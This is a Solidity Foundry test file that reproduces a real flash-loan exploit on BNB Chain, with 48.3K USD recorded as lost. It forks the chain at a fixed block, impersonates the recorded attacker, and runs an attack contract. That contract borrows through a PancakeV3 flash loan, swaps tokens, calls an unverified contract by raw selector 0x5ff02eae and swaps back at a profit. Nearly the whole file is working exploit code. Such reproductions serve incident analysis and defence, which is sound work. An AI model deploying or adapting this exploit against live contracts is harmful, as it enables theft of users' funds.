src/test/2025-06/unverified_8490_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 48.3K USD
7// Attacker : 0x7248939f65bdd23aab9eaab1bc4a4f909567486e
8// Attack Contract : https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c
9// Vulnerable Contract : 
10// Attack Tx : https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1
11 
12// @Info
13// Vulnerable Contract Code : 
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1932309011564781774
17// Twitter Guy : https://x.com/TenArmorAlert/status/1932309011564781774
18// Hacking God : N/A
19 
20address constant PancakeV3Pool = 0xbaf9f711a39271701b837c5cC4F470d533bACf33;
21address constant SmartRouter = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;
22address constant TransparentUpgradeableProxy = 0x8d0D000Ee44948FC98c9B98A4FA4921476f08B0d;
23address constant Token = 0x0B9dDfCA570305128d347A263d7061E1eB774444;
24address constant attacker = 0xF514C02048E9296D56d693F24dFC6780A2bdD18A;
25address constant addr = 0x8490AA884Adb08a485BC8793C17296c9E2c91294;
26 
27interface IPancakeV3Pool_Local {
28    function flash(address, uint256, uint256, bytes calldata) external;
29}
30struct ExactInputSingleParams {
31    address tokenIn;
32    address tokenOut;
33    uint24 fee;
34    address recipient;
35    uint256 amountIn;
36    uint256 amountOutMinimum;
37    uint160 sqrtPriceLimitX96;
38}
39interface ISmartRouter {
40    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
41}
42interface ITransparentUpgradeableProxy_Local {
43    function approve(address, uint256) external returns (bool);
44    function transfer(address, uint256) external returns (bool);
45}
46interface IToken_Local {
47    function approve(address, uint256) external returns (bool);
48    function balanceOf(address) external view returns (uint256);
49}
50 
51contract ContractTest is Test {
52    function setUp() public {
53        vm.createSelectFork("bsc", 51190821);
54    }
55    
56    function testPoC() public {
57        vm.startPrank(attacker, attacker);
58        AttackerC attC = new AttackerC();
59        attC.attack();
60        vm.stopPrank();
61        emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(TransparentUpgradeableProxy).balanceOf(address(attC)), 18);
62    }
63}
64 
65contract AttackerC {
66    
67 
68    function attack() public {
69        if (tx.origin == attacker) {
70            IPancakeV3Pool_Local(PancakeV3Pool).flash(address(this), 0, 9350 * 1e18, hex"00");
71        }
72    }
73  
74    function pancakeV3FlashCallback(uint256 /*amount0*/, uint256 /*amount1*/, bytes calldata /*data*/) external {
75        ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).approve(SmartRouter, 100000000000000000000000 * 1e18);
76        {
77            ISmartRouter(SmartRouter).exactInputSingle(
78                ExactInputSingleParams({
79                    tokenIn: TransparentUpgradeableProxy,
80                    tokenOut: Token,
81                    fee: uint24(100),
82                    recipient: address(this),
83                    amountIn: 9350 * 1e18,
84                    amountOutMinimum: 0,
85                    sqrtPriceLimitX96: uint160(0)
86                })
87            );
88        }
89        (bool s, ) = addr.call(abi.encodeWithSelector(bytes4(0x5ff02eae)));
90        require(s, "addr call fail");
91        IToken_Local(Token).approve(SmartRouter, 100000000000000000000000000 * 1e18);
92        uint256 bal = IToken_Local(Token).balanceOf(address(this));
93        {
94            ISmartRouter(SmartRouter).exactInputSingle(
95                ExactInputSingleParams({
96                    tokenIn: Token,
97                    tokenOut: TransparentUpgradeableProxy,
98                    fee: uint24(100),
99                    recipient: address(this),
100                    amountIn: bal,
101                    amountOutMinimum: 0,
102                    sqrtPriceLimitX96: uint160(0)
103                })
104            );
105        }
106        ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).transfer(PancakeV3Pool, 9350935 * 10**15);
107    }
108}